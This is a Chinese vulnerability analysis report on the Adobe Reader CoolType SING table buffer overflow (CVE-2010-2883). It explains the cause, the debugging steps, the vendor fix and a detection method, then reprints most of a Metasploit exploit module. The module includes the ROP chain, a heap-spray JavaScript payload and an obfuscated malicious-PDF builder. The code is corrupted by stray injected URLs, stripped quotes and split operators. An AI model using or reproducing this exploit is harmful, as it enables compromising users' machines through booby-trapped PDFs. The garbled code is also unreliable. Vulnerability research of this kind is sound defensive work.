Adobe Reader 缓冲区溢出漏洞（CVE-2010-2883）漏洞分析报告 _漏洞分析

缥帙各舒散，前后互相逾。这篇文章主要讲述Adobe Reader 缓冲区溢出漏洞（CVE-2010-2883）漏洞分析报告相关的知识，希望能为你提供帮助。
一. 简介软件名称:Adobe Reader
影响范围:7.0.0-9.3.4版本
影响平台:Windows
漏洞模块:CoolType.dll
威胁等级:高危
漏洞类型:缓冲区溢出
威胁路径:远程
机密性影响:完全的信息泄露导致所有系统文件暴露
完整性影响:系统完整性可被完全破坏
可用性影响:可能导致系统完全宕机
攻击复杂度:漏洞利用存在一定的访问条件
攻击向量:攻击者不需要获取内网访问权或本地访问权
身份认证:漏洞利用无需身份认证
二. 软件介绍Adobe Reader(也被称为Acrobat Reader)是美国Adobe公司开发的一款优秀的PDF文件阅读软件。文档的撰写者可以向任何人分发自己制作（通过Adobe Acrobat制作）的PDF文档而不用担心被恶意篡改。
三. 漏洞成因Adobe Reader的CollType.dll中存在基于栈的缓冲区溢出漏洞,远程攻击者可借助带有TTF字体Smart INdependent Glyphlets (SING)表格中超长字段的PDF文件执行任意代码或者导致拒绝服务。
具体成因为Adobe Reader在调用strcat时,没有判断uniqueName字段的字符串长度,直接复制到固定大小的栈空间中,导致溢出。
使用IDA pro直接在CoolType.dll寻找SING表,即可直接观察其溢出漏洞的位置:

四. 漏洞分析4.1格式分析
4.1.1 TableEntry结构在官方文档中的定义如下:

1234567	?`?Typedef struct_SING?`??`??`??`?Char tag[?`??`?4?`??`?]; ?`??`?/?`??`?/?`??`?SING字符串?`??`?ULONG checkSum; ?`??`?/?`??`?/?`??`?校验和?`??`?ULONG offset; ?`??`?/?`??`?/?`??`?相对文件偏移?`??`?ULONG length; ?`??`?/?`??`?/?`??`?数据长度?`??`??`?

Typedef struct_SING

Char tag[4]; //SING字符串
ULONG checkSum; //校验和
ULONG offset; //相对文件偏移
ULONG length; //数据长度

4.1.2 在该样本中,SING表的形态

Char tag[4]; //53 49 4E 47
ULONG checkSum; //D9 BC C8 B5
ULONG offset; //00 00 01 1C
ULONG length; //00 00 1D DF

1234	?`?Char tag[?`??`?4?`??`?]; ?`??`?/?`??`?/?`??`?53?`??`?49?`??`?4E?`??`?47?`??`?ULONG checkSum; ?`??`?/?`??`?/?`??`?D9 BC C8 B5?`??`?ULONG offset; ?`??`?/?`??`?/?`??`?00?`??`?00?`??`?01?`??`?1C?`??`?ULONG length; ?`??`?/?`??`?/?`??`?00?`??`?00?`??`?1D?`??`?DF?`?

根据上图可以看出,在TableEntry结构入口处偏移0x11c,就是SING表的真实数据,其长度为0x1DDF。然后再偏移0x10就是uniqueName域了。
4.1.3 uniqueName域
在执行strcat函数后,会将SING表的内容部分拷贝至ebp的地址,直到遇到NULL,在我调试时,该地址为0x0012e454,但是该地址并不固定。根据下图,可以看出在exp触发后ebp的地址内所存储的,正是SING表的真实数据。

4.2 漏洞调试
4.2.1利用IDA pro查看溢出函数的位置

4.2.2打开Immunity Debugger附加程序,并且运行至程序领空,转至溢出函数的位置,按下F2设置断点。再用Adobe Reader打开poc.pdf,那么就可以看到程序触发异常停止在了我设置断点的位置上了。

4.2.3可以看出在执行完strcat之后,SING表uniqueName域的数据就已经拷贝到了栈中。

4.2.4 总结一下,如果是xp系统,那么在SING表的uniqueName域内构造shellcode,就可以在触发漏洞后直接执行代码,如果是win7以后的windows版本,则需要rop技术,绕过相关保护.因为PDF支持javascript的缘故,故此,我们可以使用heap spray技术,精准的对溢出进行利用。
五. 厂商修复手段添加了字符串长度的检测和限制,自己模拟了一个安全strcat函数替代原有的strcat函数,该函数限制字符串长度需要小于260个字符,同时根据字符串长度进行动态内存分配。
六. 检测方法分析文件格式,在Object中定位到SING表后,根据官方文档提供的格式对其进行解析,判断字符串长度,如果长于官方预定的260字节,则可怀疑其在利用CVE-2010-2883进行溢出。
七. Exploit使用的exploit由Exploit-db下载,使用ruby编写。

571
##
# $Id: adobe_cooltype_sing.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require msf/core
require zlib

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof

include Msf::Exploit::FILEFORMAT

def initialize(info = )
super(update_info(info,
Name=> Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow,
Description=> %q
This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are
assumed to be vulnerable as well.
,
License=> MSF_LICENSE,
Author=>
[
Unknown,# 0day found in the wild
@sn0wfl0w,# initial analysis
@vicheck,# initial analysis
jduck# Metasploit module
],
Version=> $Revision: 10477 $,
References=>
[
[ CVE, 2010-2883 ],
[ OSVDB, 67849],
[ URL, http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html ],
[ URL, http://www.adobe.com/support/security/advisories/apsa10-02.html ]
],
DefaultOptions =>

EXITFUNC=> process,
InitialAutoRunScript => migrate -f,
DisablePayloadHandler => true,
,
Payload=>

Space=> 1000,
BadChars => "\\x00",
DisableNops => true
,
Platform=> win,
Targets=>
[
# Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd
# Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd
[ Automatic,],
],
DisclosureDate => Sep 07 2010,
DefaultTarget=> 0))

register_options(
[
OptString.new(FILENAME, [ true, The file name.,msf.pdf]),
], self.class)
end

def exploit
ttf_data = https://www.songbingjia.com/android/make_ttf()

js_data = https://www.songbingjia.com/android/make_js(payload.encoded)

# Create the pdf
pdf = make_pdf(ttf_data, js_data)

print_status("Creating #datastore[FILENAME] file...")

file_create(pdf)
end

def make_ttf
ttf_datahttps://www.songbingjia.com/android/= ""

# load the static ttf file

# NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" )
fd = File.open( path, "rb" )
ttf_data = https://www.songbingjia.com/android/fd.read(fd.stat.size)
fd.close

# Build the SING table
sing =
sing < < [
0, 1,# tableVersionMajor, tableVersionMinor (0.1)
0xe01,# glyphletVersion
0x100,# embeddingInfo
0,# mainGID
0,# unitsPerEm
0,# vertAdvance
0x3a00# vertOrigin
].pack(vvvvvvvv)
# uniqueName
# "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
#sing < < "A" * (0x254 - sing.length)
sing < < rand_text(0x254 - sing.length)

# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack(V)

# This becomes our new EIP (puts esp to stack buffer)
ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
sing[0x208, 4] = [ret].pack(V)

# This becomes the new eip after the first return
ret = 0x4a82a714
sing[0x18, 4] = [ret].pack(V)

# This becomes the new esp after the first return
esp = 0x0c0c0c0c
sing[0x1c, 4] = [esp].pack(V)

# Without the following, sub_801ba57 returns 0.
sing[0x24c, 4] = [0x6c].pack(V)

ttf_data[0xec, 4] = "SING"
ttf_data[0x11c, sing.length] = sing

ttf_data
end

def make_js(encoded_payload)

# The following executes a ret2lib using icucnv36.dll
# The effect is to bypass DEP and execute the shellcode in an indirect way
stack_data = https://www.songbingjia.com/android/[
0x41414141,# unused
0x4a8063a5,# pop ecx / ret
0x4a8a0000,# becomes ecx

0x4a802196,# mov [ecx],eax / ret # save whatever eax starts as

0x4a801f90,# pop eax / ret
0x4a84903c,# becomes eax (import for CreateFileA)

# -- call CreateFileA
0x4a80b692,# jmp [eax]

0x4a801064,# ret

0x4a8522c8,# first arg to CreateFileA (lpFileName / pointer to "iso88591")
0x10000000,# second arg- dwDesiredAccess
0x00000000,# third arg- dwShareMode
0x00000000,# fourth arg- lpSecurityAttributes
0x00000002,# fifth arg- dwCreationDisposition
0x00000102,# sixth arg- dwFlagsAndAttributes
0x00000000,# seventh arg - hTemplateFile

0x4a8063a5,# pop ecx / ret
0x4a801064,# becomes ecx

0x4a842db2,# xchg eax,edi / ret

0x4a802ab1,# pop ebx / ret
0x00000008,# becomes ebx - offset to modify

#
# This points at a neat-o block of code that ... TBD
#
#and [esp+ebx*2],edi
#jne check_slash
# ret_one:
#mov al,1
#ret
# check_slash:
#cmp al,0x2f
#je ret_one
#cmp al,0x41
#jl check_lower
#cmp al,0x5a
#jle check_ptr
# check_lower:
#cmp al,0x61
#jl ret_zero
#cmp al,0x7a
#jg ret_zero
#cmp [ecx+1],0x3a
#je ret_one
# ret_zero:
#xor al,al
#ret
#

0x4a80a8a6,# execute fun block

0x4a801f90,# pop eax / ret
0x4a849038,# becomes eax (import for CreateFileMappingA)

# -- call CreateFileMappingA
0x4a80b692,# jmp [eax]

0x4a801064,# ret

0xffffffff,# arguments to CreateFileMappingA, hFile
0x00000000,# lpAttributes
0x00000040,# flProtect
0x00000000,# dwMaximumSizeHigh
0x00010000,# dwMaximumSizeLow
0x00000000,# lpName

0x4a8063a5,# pop ecx / ret
0x4a801064,# becomes ecx

0x4a842db2,# xchg eax,edi / ret

0x4a802ab1,# pop ebx / ret
0x00000008,# becomes ebx - offset to modify

0x4a80a8a6,# execute fun block

0x4a801f90,# pop eax / ret
0x4a849030,# becomes eax (import for MapViewOfFile

# -- call MapViewOfFile
0x4a80b692,# jmp [eax]

0x4a801064,# ret

0xffffffff,# args to MapViewOfFile - hFileMappingObject
0x00000022,# dwDesiredAccess
0x00000000,# dwFileOffsetHigh
0x00000000,# dwFileOffsetLow
0x00010000,# dwNumberOfBytesToMap

0x4a8063a5,# pop ecx / ret
0x4a8a0004,# becomes ecx - writable pointer

0x4a802196,# mov [ecx],eax / ret - save map base addr

0x4a8063a5,# pop ecx / ret
0x4a801064,# becomes ecx - ptr to ret

0x4a842db2,# xchg eax,edi / ret

0x4a802ab1,# pop ebx / ret
0x00000030,# becomes ebx - offset to modify

0x4a80a8a6,# execute fun block

0x4a801f90,# pop eax / ret
0x4a8a0004,# becomes eax - saved file mapping ptr

0x4a80a7d8,# mov eax,[eax] / ret - load saved mapping ptr

0x4a8063a5,# pop ecx / ret
0x4a801064,# becomes ecx - ptr to ret

0x4a842db2,# xchg eax,edi / ret

0x4a802ab1,# pop ebx / ret
0x00000020,# becomes ebx - offset to modify

0x4a80a8a6,# execute fun block

0x4a8063a5,# pop ecx / ret
0x4a801064,# becomes ecx - ptr to ret

0x4a80aedc,# lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret

0x4a801f90,# pop eax / ret
0x00000034,# becomes eax

0x4a80d585,# add eax,edx / ret

0x4a8063a5,# pop ecx / ret
0x4a801064,# becomes ecx - ptr to ret

0x4a842db2,# xchg eax,edi / ret

0x4a802ab1,# pop ebx / ret
0x0000000a,# becomes ebx - offset to modify

0x4a80a8a6,# execute fun block

0x4a801f90,# pop eax / ret
0x4a849170,# becomes eax (import for memcpy)

# -- call memcpy
0x4a80b692,# jmp [eax]

0xffffffff,# this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
0xffffffff,# becomes first arg to memcpy (dst)
0xffffffff,# becomes second arg to memcpy (src)
0x00001000,# becomes third arg to memcpy (length)
#0x0000258b,# ??
#0x4d4d4a8a,# ??
].pack(V*)

var_unescape= rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)

var_start= rand_text_alpha(rand(100) + 1)

var_s= 0x10000
var_c= rand_text_alpha(rand(100) + 1)
var_b= rand_text_alpha(rand(100) + 1)
var_d= rand_text_alpha(rand(100) + 1)
var_3= rand_text_alpha(rand(100) + 1)
var_i= rand_text_alpha(rand(100) + 1)
var_4= rand_text_alpha(rand(100) + 1)

payload_buf =
payload_buf < < stack_data
payload_buf < < encoded_payload

escaped_payload = Rex::Text.to_unescape(payload_buf)

js = %Q|
var #var_unescape = unescape;
var #var_shellcode = #var_unescape( #escaped_payload );
var #var_c = #var_unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#var_c.length + 20 + 8 < #var_s) #var_c+=#var_c;
#var_b = #var_c.substring(0, (0x0c0c-0x24)/2);
#var_b += #var_shellcode;
#var_b += #var_c;
#var_d = #var_b.substring(0, #var_s/2);
while(#var_d.length < 0x80000) #var_d += #var_d;
#var_3 = #var_d.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #var_4 = new Array();
for (#var_i=0; #var_i< 0x1f0; #var_i++) #var_4[#var_i]=#var_3+"s";
|

js
end

def RandomNonASCIIString(count)
result = ""
count.times do
result < < (rand(128) + 128).chr
end
result
end

def ioDef(id)
"%d 0 obj \\n" % id
end

def ioRef(id)
"%d 0 R" % id
end

#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
#return str
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase > = A and c.upcase < = Z
result < < "#%x" % c.unpack("C*")[0]
else
result < < c
end
end
result
end

def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result < < whitespace < < "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result < < "> "
end

def make_pdf(ttf, js)

#swf_name = rand_text_alpha(8 + rand(8)) + ".swf"

xref = []
eol = "\\n"
endobj = "endobj" < < eol

# Randomize PDF version?
pdf = "%PDF-1.5" < < eol
pdf < < "%" < < RandomNonASCIIString(4) < < eol

# catalog
xref < < pdf.length
pdf < < ioDef(1) < < nObfu("< < ") < < eol
pdf < < nObfu("/Pages ") < < ioRef(2) < < eol
pdf < < nObfu("/Type /Catalog") < < eol
pdf < < nObfu("/OpenAction ") < < ioRef(11) < < eol
# The AcroForm is required to get icucnv36.dll to load
pdf < < nObfu("/AcroForm ") < < ioRef(13) < < eol
pdf < < nObfu("> > ") < < eol
pdf < < endobj

# pages array
xref < < pdf.length
pdf < < ioDef(2) < < nObfu("< < ") < < eol
pdf < < nObfu("/MediaBox ") < < ioRef(3) < < eol
pdf < < nObfu("/Resources ") < < ioRef(4) < < eol
pdf < < nObfu("/Kids [") < < ioRef(5) < < "]" < < eol
pdf < < nObfu("/Count 1") < < eol
pdf < < nObfu("/Type /Pages") < < eol
pdf < < nObfu("> > ") < < eol
pdf < < endobj

# media box
xref < < pdf.length
pdf < < ioDef(3)
pdf < < "[0 0 595 842]" < < eol
pdf < < endobj

# resources
xref < < pdf.length
pdf < < ioDef(4)
pdf < < nObfu("< < ") < < eol
pdf < < nObfu("/Font ") < < ioRef(6) < < eol
pdf < < "> > " < < eol
pdf < < endobj

# page 1
xref < < pdf.length
pdf < < ioDef(5) < < nObfu("< < ") < < eol
pdf < < nObfu("/Parent ") < < ioRef(2) < < eol
pdf < < nObfu("/MediaBox ") < < ioRef(3) < < eol
pdf < < nObfu("/Resources ") < < ioRef(4) < < eol
pdf < < nObfu("/Contents [") < < ioRef(8) < < nObfu("]") < < eol
pdf < < nObfu("/Type /Page") < < eol
pdf < < nObfu("> > ") < < eol # end obj dict
pdf < < endobj

# font
xref < < pdf.length
pdf < < ioDef(6) < < nObfu("< < ") < < eol
pdf < < nObfu("/F1 ") < < ioRef(7) < < eol
pdf < < "> > " < < eol
pdf < < endobj

# ttf object
xref < < pdf.length
pdf < < ioDef(7) < < nObfu("< < ") < < eol
pdf < < nObfu("/Type /Font") < < eol
pdf < < nObfu("/Subtype /TrueType") < < eol
pdf < < nObfu("/Name /F1") < < eol
pdf < < nObfu("/BaseFont /Cinema") < < eol
pdf < < nObfu("/Widths []") < < eol
pdf < < nObfu("/FontDescriptor ") < < ioRef(9)
pdf < < nObfu("/Encoding /MacRomanEncoding")
pdf < < nObfu("> > ") < < eol
pdf < < endobj

# page content
content = "Hello World!"
content = "" +
"0 g" + eol +
"BT" + eol +
"/F1 32 Tf" + eol +
"32 Tc" + eol +
"1 0 0 1 32 773.872 Tm" + eol +
"(" + content + ") Tj" + eol +
"ET"

xref < < pdf.length
pdf < < ioDef(8) < < "< < " < < eol
pdf < < nObfu("/Length %s" % content.length) < < eol
pdf < < "> > " < < eol
pdf < < "stream" < < eol
pdf < < content < < eol
pdf < < "endstream" < < eol
pdf < < endobj

# font descriptor
xref < < pdf.length
pdf < < ioDef(9) < < nObfu("< < ")
pdf < < nObfu("/Type/FontDescriptor/FontName/Cinema")
pdf < < nObfu("/Flags %d" % (2**2 + 2**6 + 2**17))
pdf < < nObfu("/FontBBox [-177 -269 1123 866]")
pdf < < nObfu("/FontFile2 ") < < ioRef(10)
pdf < < nObfu("> > ") < < eol
pdf < < endobj

# ttf stream
xref < < pdf.length
compressed = Zlib::Deflate.deflate(ttf)
pdf < < ioDef(10) < < nObfu("< < /Length %s/Filter/FlateDecode/Length1 %s> > " % [compressed.length, ttf.length]) < < eol
pdf < < "stream" < < eol
pdf < < compressed < < eol
pdf < < "endstream" < < eol
pdf < < endobj

# js action
xref < < pdf.length
pdf < < ioDef(11) < < nObfu("< < ")
pdf < < nObfu("/Type/Action/S/javaScript/JS ") + ioRef(12)
pdf < < nObfu("> > ") < < eol
pdf < < endobj

# js stream
xref < < pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf < < ioDef(12) < < nObfu("< < /Length %s/Filter[/FlateDecode/ASCIIHexDecode]> > " % compressed.length) < < eol
pdf < < "stream" < < eol
pdf < < compressed < < eol
pdf < < "endstream" < < eol
pdf < < endobj

###
# The following form related data is required to get icucnv36.dll to load
###

# form object
xref < < pdf.length
pdf < < ioDef(13)
pdf < < nObfu("< < /XFA ") < < ioRef(14) < < nObfu("> > ") < < eol
pdf < < endobj

# form stream
xfa = < < -EOF
< ?xml version="1.0" encoding="UTF-8"?>
< xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
< config xmlns="http://www.xfa.org/schema/xci/2.6/">
< present> < pdf> < interactive> 1< /interactive> < /pdf> < /present>
< /config>
< template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
< subform name="form1" layout="tb" locale="en_US">
< pageSet> < /pageSet>
< /subform> < /template> < /xdp:xdp>
EOF

xref < < pdf.length
pdf < < ioDef(14) < < nObfu("< < /Length %s> > " % xfa.length) < < eol
pdf < < "stream" < < eol
pdf < < xfa < < eol
pdf < < "endstream" < < eol
pdf < < endobj

###
# end form stuff for icucnv36.dll
###

# trailing stuff
xrefPosition = pdf.length
pdf < < "xref" < < eol
pdf < < "0 %d" % (xref.length + 1) < < eol
pdf < < "0000000000 65535 f" < < eol
xref.each do |index|
pdf < < "%010d 00000 n" % index < < eol
end

pdf < < "trailer" < < eol
pdf < < nObfu("< < /Size %d/Root " % (xref.length + 1)) < < ioRef(1) < < "> > " < < eol

pdf < < "startxref" < < eol
pdf < < xrefPosition.to_s() < < eol

pdf < < "%%EOF" < < eol
pdf
end

end

关于作者作者：rkvir（榴莲老师）
简介：曾任某安全企业技术总监；看雪讲师；曾任职国内多家大型安全公司；参与*2国家级安全项目
擅长：C/C++/python/x86/x64汇编/系统原理&
【Adobe Reader 缓冲区溢出漏洞（CVE-2010-2883）漏洞分析报告】研究方向：二进制漏洞/FUZZ/Windows内核安全/内网攻防